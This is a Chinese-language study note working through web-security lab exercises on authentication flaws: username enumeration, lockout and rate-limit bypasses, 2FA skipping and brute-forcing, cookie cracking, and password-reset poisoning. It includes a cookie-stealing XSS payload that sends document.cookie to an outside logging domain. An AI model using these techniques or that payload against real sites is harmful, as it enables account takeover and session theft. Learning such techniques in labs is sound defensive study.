身份认证漏洞靶场
#学习记录
什么是认证?
认证是验证给定用户或客户端身份的过程。换句话说,它涉及确保他们确实是自己所声称的那个人。至少在某种程度上,网站在设计上是暴露给任何连接到互联网的人面前的。因此,强大的认证机制是有效Web安全的一个重要方面。
有三种认证因素,不同类型的认证可以被分类到这三种因素中:
-
某种你所知道的东西,比如密码或安全问题的答案。有时被称为“知识因素”。
-
某种你所拥有的东西,即像手机或安全令牌这样的实物。有时被称为“持有因素”。
-
你是什么或做什么,例如你的生物特征或行为模式。有时被称为“固有因素”。
认证机制依赖于一系列技术来验证这些因素中的一个或多个。
认证和授权之间的区别
认证是验证一个用户是否真的是他们声称的那个人的过程,而授权则是验证用户是否被允许做某事。
在一个网站或Web应用程序中,认证确定试图使用用户名Carlos123
访问网站的人是否确实是创建该账户的同一个人。
一旦Carlos123
通过认证,他的权限就决定了他是否被授权,例如,访问其他用户的个人信息,或者执行删除其他用户账户等操作。
认证漏洞如何产生的?
广义上讲,认证机制中的大多数漏洞都是通过以下两种方式之一产生的:
-
认证机制薄弱,因为它们未能充分防御暴力攻击。
-
在实现过程中存在逻辑缺陷或不良编码,允许攻击者完全绕过认证机制。这有时被称为“破解认证”。
在Web开发的许多领域中,逻辑缺陷会导致网站的行为出乎意料,这可能是也可能不是一个安全问题。然而,由于认证对安全至关重要,有缺陷的认证逻辑会使网站暴露安全问题的可能性明显提高。
认证机制中的漏洞
认证漏洞包含很多比如,密码登陆爆破,多重认证机制。
基于密码登陆中的漏洞
使用暴力破解。
状态码:在暴力破解攻击期间,返回的HTTP状态码对于绝大多数猜测来说可能是相同的,因为大部分猜测都是错误的。如果一个猜测返回了不同的状态码,这是用户名正确的强烈指示。网站最佳实践是无论结果如何,始终返回相同的状态码,但并非总是遵循这种做法。
错误信息:有时,返回的错误信息会根据用户名和密码都不正确还是仅密码不正确而不同。网站最佳实践是在两种情况下都使用相同的通用信息,但有时会出现一些小的打字错误。即使只有一个字符位置错误,两条信息也会不同,即使该字符在呈现的页面上不可见。
响应时间:如果大多数请求的响应时间相似,任何与此不同的请求都表明后台发生了不同的事情。这是另一个表明猜测的用户名可能正确的迹象。例如,如果用户名有效,网站可能只会检查密码是否正确。此额外步骤可能会导致响应时间略有增加。这可能很微妙,但攻击者可以通过输入过长的密码来使这种延迟变得更加明显,而网站需要更长的时间来处理。
相关靶场
通过不同响应进行用户名枚举
这个靶场如上面第一个所示,通过观看状态码来判断用户名。
随便尝试用户名和密码,只显示用户名无效。这样我们可以进行爆破把用户名爆破出来。
burp intrude 使用狙击手,paylods使用提供的用户名。开始攻击,观察响应。发现有一个长度和其他不同说明。这个用户名是真确的
根据正确的用户名,在使用提供的密码进行爆破即可。
通过微妙不同的响应进行用户枚举。
要使用burp intrude 中的Grep Extract 用来提取信息,这微妙的地方如上面第二条所示。即使是一个字符错误也会是两条不同的消息。
可以看到登陆失败后提示用户名或密码无效。但后面有一个点。这就是微妙的错误
使用提供的用户名开始爆破。看到这个结尾没有点与其他不同,说明用户名是这个。
在使用密码进行爆破。
通过响应时间进行用户枚举。
如上面第三条所说,如果网站检测用户名正确那只会检测密码是否正确。使用过长的密码让这种更加明显。
此靶场使用了ip锁定机制,如果用户名密码输入错误次数过多就会封锁ip地址。我们使用burp intrude 中的草叉模式(Pitchfork )。这种攻击模式使用一 一对应的关系。如payload1 是A 和B 。payload2 是C和D 那么进行二次攻击 A和C 与B和D。并不像集束炸弹模式(Cluster bomb)那样一对多。
添加X-Forwarded-For,XFF是用来识别通过HTTP代理或负载均方式连接到Web服务器的客户端最原始的IP地址的HTTP头字段
开始攻击发现一个收到请求为268 一个回复万层为668 两者相差过大说明这个用户名正确。
再添加变量到password上进行爆破。
有缺陷的暴力保护
- 如果远程用户尝试登录失败次数过多,则锁定其尝试访问的帐户
- 如果远程用户连续多次尝试登录,则阻止其 IP 地址
暴力破解保护,IP封锁
有时您可能会发现,如果登录失败次数过多,您的 IP 就会被封锁。在一些实现中,如果IP所有者成功登录,则失败尝试次数的计数器重置。这意味着攻击者只需每隔几次尝试就登录自己的帐户,以防止达到此限制。
利用这种使用burp intrude 的草叉模式(Pitchfork )。使正确的用户名和错误的用户名实现交叉登陆来绕过。
靶场提示攻击carlos 账户
如下所示
开始爆破即可。
同过账户锁定枚举用户名
网站为了防止暴力破解,有一种方式是当满足某些可疑条件时(通常是一定数量的登录失败尝试)锁定账户。就像普通的登录错误一样,服务器返回表明账户已被锁定的响应也可以帮助攻击者枚举用户名。
通过多个用户名列表尝试单个密码,并观察响应有何不同。
使用burp 束炸弹模式(Cluster bomb) 第一个使用用户名列表 第二个设置为空。然后开始攻击。观察响应,其他都是用户或密码无效。有一个是,您尝试登录的错误次数过多。请 1 分钟后重试。说明用户名被锁定。得出该用户名存在。
在使用狙击手爆破密码。
保护方法:
- 建立可能有效的候选用户名列表。这可以通过用户名枚举或简单地基于常见用户名列表来实现。
- 确定您认为至少一个用户可能拥有的一个非常小的密码候选列表。至关重要的是,您选择的密码数量不得超过允许的登录尝试次数。例如,如果您计算出尝试次数的限制为 3 次,则您最多需要选择 3 次密码猜测。
- 使用 Burp Intruder 等工具,使用每个候选用户名尝试每个选定的密码。这样,您就可以尝试暴力破解每个帐户,而不会触发帐户锁定。您只需要一个用户使用三个密码之一即可危及帐户。
暴力保护被破坏,每个请求有多个凭据
网站防止暴力破解攻击的另一种方式是通过用户速率限制。在这种情况下,在短时间内进行过多的登录请求会导致你的IP地址被封禁。通常,IP地址只能通过以下方式解除:
-
在一定的时间段后自动解除
-
管理员手动解除
-
用户在成功完成验证码后手动解除
用户速率限制有时比账户锁定更受欢迎,因为它更不容易受到用户名枚举和拒绝服务攻击的影响。然而,它仍然不是完全安全的。正如我们在之前的实验中看到的一个例子,攻击者有几种方法可以操纵其表面的IP地址以绕过封禁。
由于限制是基于从用户的IP地址发送的HTTP请求的速率,如果你可以找出如何使用单个请求猜测多个密码,那么有时也可以绕过这种防御措施。
将密码列表以json的形式提交。
随机填写用户名和密码,发现提交方式是JSON的格,靶场要求攻击carlos的用户。
POST /login HTTP/2 |
将password的密码列表改为json格式的数组。开始攻击即可。
|
多重身份验证中的漏洞
多重身份验证简称(2FA),就是在原有密码登陆的基础上添加新的验证机制。确认是否是该用户。如常见的邮箱验证,手机验证。
绕过双因素验证
有时,双因素认证的实现存在缺陷,以至于可以完全绕过它。
如果用户首先被要求输入密码,然后在另一页上被要求输入验证码,那么用户在输入验证码之前实际上已经处于“已登录”的状态。在这种情况下,值得测试一下在完成第一步认证后,是否可以直接跳转到“仅限已登录”的页面。偶尔,你会发现网站在加载页面之前实际上并没有检查你是否完成了第二步认证。
靶场已经知道了用户名和密码。但是无权访问2FA验证码
登陆步骤;1.用户名密码输入登陆。2.跳转到验证码输入3.完成登陆。
我们先使用自己的凭证进行登陆,依次完成上面三个步骤后。发现最终的get请求是/my-account?id=wiener(让人想到的就是越权漏洞),?id=wiener是我们的用户名,这个参数我们可以进行更改。上面已经说过在,步骤1的时候我们就已经是登陆的状态,是否可以直接跳过2FA验证。
直接在第二步更改请求为第3步的请求,更改参数?id=carlos.跳过成功。
有缺陷的双因素验证漏洞。
有时,双因素身份验证中存在缺陷的逻辑意味着用户完成初始登录步骤后,网站无法充分验证同一用户是否正在完成第二步。
例如,用户在第一步中使用普通凭据登录,如下所示:
POST /login-steps/first HTTP/1.1 |
然后,他们会被分配一个与其帐户相关的 cookie,然后进入登录过程的第二步:
HTTP/1.1 200 OK |
提交验证码时,请求使用此 cookie 来确定用户尝试访问哪个帐户:
POST /login-steps/second HTTP/1.1 |
在这种情况下,攻击者可以使用自己的凭据登录,然后account
在提交验证码时将 cookie 的值更改为任意用户名。
POST /login-steps/second HTTP/1.1 |
网站输入用户名和密码后,网站会分配一个cookie来确定登陆用户。提交验证码这个cookie也会存在。由于该验证码只有四位因此可以通过爆破的方式。如下cookie中有个verfy确认用户。
POST /login2 HTTP/2 |
进行验证码爆破
爆破状态码有个302就行。
暴力破解2FA验证
与密码一样,网站需要采取措施防止 2FA 验证码被暴力破解。这一点尤其重要,因为代码通常是简单的 4 或 6 位数字。如果没有足够的强力保护,破解这样的代码是微不足道的。一些网站试图通过在用户输入一定数量的错误验证码时自动注销用户来防止这种情况。这在实践中是无效的,因为高级攻击者甚至可以通过为 Burp Intruder创建宏来自动化这个多步骤过程。Turbo Intruder扩展也可用于此目的。
靶场
步骤:点击project options —> sessions—->sessions handling rules add—> scope—>include all URL –> Detalis—>Rule Action —–> add –>run a macro
然后selcet macro –>add 依次选择GET /login POST /login GET /login2 测试宏查看是否是验证码输入界面,依次ok
将请求发送POST /login2
给 Burp Intruder. payloads选择number 0000-9999 最大/最小整数为4 最大小数为0.
请求数设置为1 不然太高会返回400(我扫了一个下午)
开始攻击,得到一个302跳转界面
其他身份验证机制中的漏洞
保持用户登陆状态
一个常见的功能是即使在关闭浏览器会话后也可以选择保持登录状态。这通常是一个简单的复选框,标记为“记住我”或“让我保持登录状态”。
此功能通常通过生成某种“记住我”令牌来实现,然后将其存储在持久 cookie 中。由于拥有此 cookie 可以有效地让您绕过整个登录过程,因此最佳实践是让此 cookie 无法猜测。然而,一些网站根据可预测的静态值串联(例如用户名和时间戳)生成此 cookie。有些甚至使用密码作为 cookie 的一部分。如果攻击者能够创建自己的帐户,则这种方法尤其危险,因为他们可以研究自己的 cookie 并可能推断出它是如何生成的。一旦他们计算出公式,他们就可以尝试暴力破解其他用户的 cookie 来访问他们的帐户。
一些网站认为,如果 cookie 以某种方式加密,即使它确实使用静态值,也不会被猜测。虽然如果操作正确的话这可能是正确的,但使用简单的双向编码(如 Base64)天真地“加密”cookie 并不能提供任何保护。即使使用单向哈希函数进行适当的加密也不是完全无懈可击的。如果攻击者能够轻松识别哈希算法,并且不使用盐,他们就可以通过简单地哈希其单词列表来暴力破解 cookie。如果类似的限制未应用于 cookie 猜测,则此方法可用于绕过登录尝试限制。
先使用提供的用户名和密码登陆之后,点击勾选记住。在burp 历史里点击查看就会发现数据包中stay-logged-in有数据。进行base64解密,发现cookie构成是 前缀用户名: MD5 在进行base64加密。
使用burp intrude中的Payloadprocessing ,可以定义 Payload 处理规则,以在发送攻击负载之前或之后对其进行处理。例如,可以对负载进行编码、解码、加密或其他自定义处理,以欺骗应用程序的安全机制。
依次添加
为了确保攻击成功,使用 grep match 确定我们是否已成功暴力破解 cookie。在“设置”选项卡上,添加 grep 匹配规则以标记包含字符串 的任何响应Update email
。开始攻击。
看到设置的匹配规则有响应。说明成功
离线密码破解。
上面的案例中是有自己的账号从而从cookie中 爆破。假设没有自己的账号,可以通过xss漏洞获取用户cookie。进行爆破
即使攻击者无法创建自己的帐户,他们仍然可以利用此漏洞。使用XSS等常用技术,攻击者可以窃取其他用户的“记住我”cookie,并推断出 cookie 的构造方式。如果网站是使用开源框架构建的,则 cookie 构建的关键细节甚至可能会被公开记录。
在极少数情况下,可能会从 cookie 中以明文形式获取用户的实际密码,即使它是经过哈希处理的。众所周知的密码列表的散列版本可以在线获得,因此如果用户的密码出现在这些列表之一中,解密散列有时就像将散列粘贴到搜索引擎一样简单。这证明了盐在有效加密中的重要性。
根据靶场提示使用xss获取cookie。
使用
<script>document.location='dnslog域名'+document.cookie</script> |
使用document.location 加载一个URL。document.cookie获取cookie.document
对象是文档的根节点,每张网页都有自己的document
对象。
插入到一个网页的评论区,查看donlog日志。得到一个
解码
在使用md5解出即可。登陆删除受害者的用户名:carlos
重置用户密码
在实践中,某些用户肯定会忘记密码,因此通常有办法让他们重置密码。由于通常的基于密码的身份验证在这种情况下显然是不可能的,因此网站必须依靠替代方法来确保真正的用户正在重置自己的密码。因此,密码重置功能本质上是危险的,需要安全地实现。
此功能通常有几种不同的实现方式,并且存在不同程度的漏洞。
通过电子邮箱发送密码。
不言而喻,如果网站首先安全地处理密码,则永远不可能向用户发送当前密码。相反,某些网站会生成新密码并通过电子邮件将其发送给用户。
一般来说,应避免通过不安全的通道发送持久密码。在这种情况下,安全性依赖于生成的密码在很短的时间内到期,或者用户立即再次更改密码。否则,这种方法很容易受到中间人攻击。
鉴于收件箱是持久性的且并非真正为机密信息的安全存储而设计,因此电子邮件通常也不被认为是安全的。许多用户还通过不安全的渠道在多个设备之间自动同步收件箱。
使用URL链接重置密码
一种更可靠的重置密码方法是向用户发送一个唯一的URL,该URL将他们带到密码重置页面。较不安全的实现方法使用一个易于猜测的参数来识别正在重置的账户的URL,例如:
http://vulnerable-website.com/reset-password?user=victim-user |
在这个例子中,攻击者可以将user
参数更改为他们已经确定的任何用户名。然后他们将直接进入一个页面,在该页面可以为这个任意用户设置一个新密码。
这个过程的更好实现方法是生成一个高熵的、难以猜测的令牌,并基于此创建重置URL。在最理想的情况下,该URL不应提供任何关于正在重置密码的用户的提示。
http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8 |
当用户访问此URL时,系统应该在后端检查这个令牌是否存在,并确定它应该重置哪个用户的密码。该令牌应该在短时间内过期,并在重置密码后立即销毁。
然而,有些网站在提交重置表单时未再次验证令牌。在这种情况下,攻击者只需从他们自己的账户访问重置表单,删除令牌,并利用该页面重置任意用户的密码。
这个令牌使用来确认用户身份的,通过删除令牌发现仍然可以重置密码。说明令牌并没有验证。
把username 和 密码部分更改即可。
通过中间件重置密码中毒
通过反向代理把重置密码的链接返回到漏洞利用服务器上,刚好重置链接中也有识别身份的令牌,所以就需要用到X-Forwarded-Host指定反向代理服务器域名。
什么是反向代理?
是一种位于网络服务器和客户端之间的服务器,其主要功能是接收来自客户端的请求,然后将这些请求转发给一个或多个后端服务器,最终将后端服务器的响应返回给客户端。X-Forwarded-Host
标头是由反向代理服务器或负载均衡器添加到HTTP请求中,以指示请求通过了哪个代理服务器。
添加
查看漏洞服务器得到carlos的重置漏洞的令牌,token=后面的令牌替换掉。
重新设置密码登陆 通关
更改用户密码
通常,更改密码需要输入当前密码,然后输入新密码两次。这些页面从根本上依赖于与普通登录页面相同的过程来检查用户名和当前密码是否匹配。因此,这些页面可能容易受到相同技术的攻击。
如果密码更改功能允许攻击者在不以受害者用户身份登录的情况下直接访问它,则该功能可能特别危险。例如,如果在隐藏字段中提供用户名,则攻击者可能能够在请求中编辑此值以定位任意用户。这可能会被用来枚举用户名和暴力破解密码。
靶场逻辑就是根据不同的错误提供不同的响应,可以根据响应来进行爆破。如下
第一种情况,旧密码错误。但两次新密码正确。账户被锁定一分钟后重新登陆。
第二种情况,旧密码错误,两次新密码也不匹配。
提示当前密码不正确
第三种情况,旧密码正确。两次新密码错误。
新密码不匹配
那么我们可以根据第三种情况猜测用户的正确密码,如果匹配到新密码不正确,密码就是那个。需要用到burp 中的匹配功能
POST /my-account/change-password HTTP/2 |
添加密码列表开始攻击。
登陆 通关